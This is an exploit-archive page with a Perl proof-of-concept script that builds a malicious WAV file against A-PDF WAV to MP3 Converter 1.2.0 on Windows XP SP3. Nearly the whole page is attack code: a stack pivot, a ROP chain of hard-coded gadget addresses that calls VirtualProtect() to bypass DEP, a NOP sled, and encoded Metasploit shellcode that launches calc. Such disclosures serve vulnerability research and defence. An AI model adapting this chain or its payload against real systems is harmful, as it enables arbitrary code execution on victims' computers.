Home / exploitsPDF  

A-PDF WAV To MP3 Converter 1.2.0 DEP Bypass

Posted on 13 May 2011

# Exploit Title: A-PDF Wav to MP3 Converter v 1.2.0 DEP Bypass # Software Link: http://www.a-pdf.com/wav-to-mp3/a-pdf-wtm.exe # Version: 1.2.0 # Tested on: Win XP SP3 French # Date: 12/05/2011 # Author: h1ch4m (Hicham Oumounid) # Email: h1ch4m@live.fr # Home: http://net-effects.blogspot.com # Big thanks to corelanc0d3r for the Help & the Precious advices my $file= "Exploit.wav"; ####################### STACK PIVOT ########################### my $EIP = pack('V', 0x100040CF); # RETN - wavtomp3.exe - ** Null byte ** # not enough space for the ROP and Shellcode, so: sub esp,1030 & we land in the beginning of our payload(ROP) my $SP = pack('V', 0x004A394A); # POP ECX # RETN [Module : wavtomp3.exe] ** Null byte ** - [ Ascii printable - null byte] $SP .= pack('V', 0x00001030); # 1030h $SP .= pack('V', 0x00478D2C); # PUSH ESP # MOV EAX,EDI # POP EDX # POP EBP # POP EDI # POP ESI # POP EBX # RETN [Module : wavtomp3.exe] ** Null byte ** $SP .= "A" x 16; $SP .= pack('V', 0x00401D3C); # MOV EAX,EDX # RETN [Module : wavtomp3.exe] ** Null byte ** $SP .= pack('V', 0x004130DE); # SUB EAX,ECX # RETN [Module : wavtomp3.exe] ** Null byte ** $SP .= pack('V', 0x0041097B); # XCHG EAX,ESP # RETN [Module : wavtomp3.exe] ** Null byte ** ####################### STACK POINTER ########################### my $ROP = pack('V', 0x00478D2C); # PUSH ESP # MOV EAX,EDI # POP EDX # POP EBP # POP EDI # POP ESI # POP EBX # RETN [Module : wavtomp3.exe] ** Null byte ** $ROP .= "A" x 16; $ROP .= pack('V', 0x00401D3C); # MOV EAX,EDX # RETN [Module : wavtomp3.exe] ** Null byte ** $ROP .= pack('V', 0x10004642); # ADD ESP,18 # RETN [Module : lame_enc.dll] ** Null byte ** ############ VirtualProtect() Parameters ############ $ROP .= pack('V', 0x7c801ad4); # VirtualProtect() 0x7c801ad4 Kernel32.dll $ROP .= "AAAA"; # Parameter 1 $ROP .= "BBBB"; # Parameter 2 $ROP .= "CCCC"; # Parameter 3 $ROP .= "DDDD"; # Parameter 4 $ROP .= pack("V", 0x10054000); # Writeable address ###################### PARAMETER 1 ########################### $ROP .= pack('V', 0x0040808F); # ADD EAX,10 # RETN [Module : wavtomp3.exe] ** Null byte ** $ROP .= pack('V', 0x1002B936); # ADD EAX,0C # RETN [Module : lame_enc.dll] ** $ROP .= pack('V', 0x0040F944); # MOV ECX,EAX # MOV EAX,ECX # RETN [Module : wavtomp3.exe] ** Null byte ** $ROP .= pack('V', 0x00401D3C); # MOV EAX,EDX # RETN [Module : wavtomp3.exe] ** Null byte ** $ROP .= pack('V', 0x1003C6A4); # ADD EAX,100 # POP EBP # RETN [Module : lame_enc.dll] ** $ROP .= "A" x 4; $ROP .= pack('V', 0x1002B23D); # ADD EAX,20 # RETN [Module : lame_enc.dll] ** $ROP .= pack('V', 0x1002B910); # ADD EAX,8 # RETN [Module : lame_enc.dll] ** $ROP .= pack('V', 0x00402ABC); # MOV DWORD PTR DS:[ECX],EAX # RETN [Module : wavtomp3.exe] ** Null byte ** ###################### PARAMETER 2 ########################### $ROP .= pack('V', 0x10002388); # MOV DWORD PTR DS:[ECX+4],EAX # XOR EAX,EAX # RETN [Module : lame_enc.dll] ** Null byte ** ###################### PARAMETER 3 ########################### $ROP .= pack('V', 0x1003C6A4); # ADD EAX,100 # POP EBP # RETN [Module : lame_enc.dll] ** $ROP .= "A" x 4; $ROP .= pack('V', 0x1003C6A4); # ADD EAX,100 # POP EBP # RETN [Module : lame_enc.dll] ** $ROP .= "A" x 4; $ROP .= pack('V', 0x1003C6A4); # ADD EAX,100 # POP EBP # RETN [Module : lame_enc.dll] ** $ROP .= "A" x 4; $ROP .= pack('V', 0x100023D1); # MOV DWORD PTR DS:[ECX+8],EAX # XOR EAX,EAX # RETN [Module : lame_enc.dll] ** Null byte ** ###################### PARAMETER 4 ########################### $ROP .= pack('V', 0x1002B23D) x 2; # ADD EAX,20 # RETN [Module : lame_enc.dll] ** $ROP .= pack('V', 0x100023A8); # MOV DWORD PTR DS:[ECX+C],EAX # XOR EAX,EAX # RETN [Module : lame_enc.dll] ** Null byte ** ################### Jump To VirtualProtect() ##################### $ROP .= pack('V', 0x004027D9); # MOV EAX,ECX # RETN [Module : wavtomp3.exe] ** Null byte ** $ROP .= pack('V', 0x0040BFC1); # SUB EAX,4 # RETN [Module : wavtomp3.exe] ** Null byte ** $ROP .= pack('V', 0x0041097B); # XCHG EAX,ESP # RETN [Module : wavtomp3.exe] ** Null byte ** ####################### NOPS ########################### my $NOPS = "x90" x (300 - length($ROP)); ####################### SHELLCODE ########################### # windows/exec - 223 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # EXITFUNC=seh, CMD=calc my $shellcode = "xdaxddxbfxb0x1ax64x4fxd9x74x24xf4x58x31xc9" . "xb1x32x31x78x17x83xc0x04x03xc8x09x86xbaxd4" . "xc6xcfx45x24x17xb0xccxc1x26xe2xabx82x1bx32" . "xbfxc6x97xb9xedxf2x2cxcfx39xf5x85x7ax1cx38" . "x15x4bxa0x96xd5xcdx5cxe4x09x2ex5cx27x5cx2f" . "x99x55xafx7dx72x12x02x92xf7x66x9fx93xd7xed" . "x9fxebx52x31x6bx46x5cx61xc4xddx16x99x6exb9" . "x86x98xa3xd9xfbxd3xc8x2ax8fxe2x18x63x70xd5" . "x64x28x4fxdax68x30x97xdcx92x47xe3x1fx2ex50" . "x30x62xf4xd5xa5xc4x7fx4dx0exf5xacx08xc5xf9" . "x19x5ex81x1dx9fxb3xb9x19x14x32x6exa8x6ex11" . "xaaxf1x35x38xebx5fx9bx45xebx07x44xe0x67xa5" . "x91x92x25xa3x64x16x50x8ax67x28x5bxbcx0fx19" . "xd0x53x57xa6x33x10xa9x57x8ex8cx3excex7bxed" . "x22xf1x51x31x5bx72x50xc9x98x6ax11xccxe5x2c" . "xc9xbcx76xd9xedx13x76xc8x8dxf2xe4x90x51"; my $junk = "x41" x (4128 - length($ROP.$NOPS.$shellcode)); open($FILE,">$file"); print $FILE $ROP.$NOPS.$shellcode.$junk.$EIP.$SP; close($FILE); print "File Created successfully "; sleep(1);

 

TOP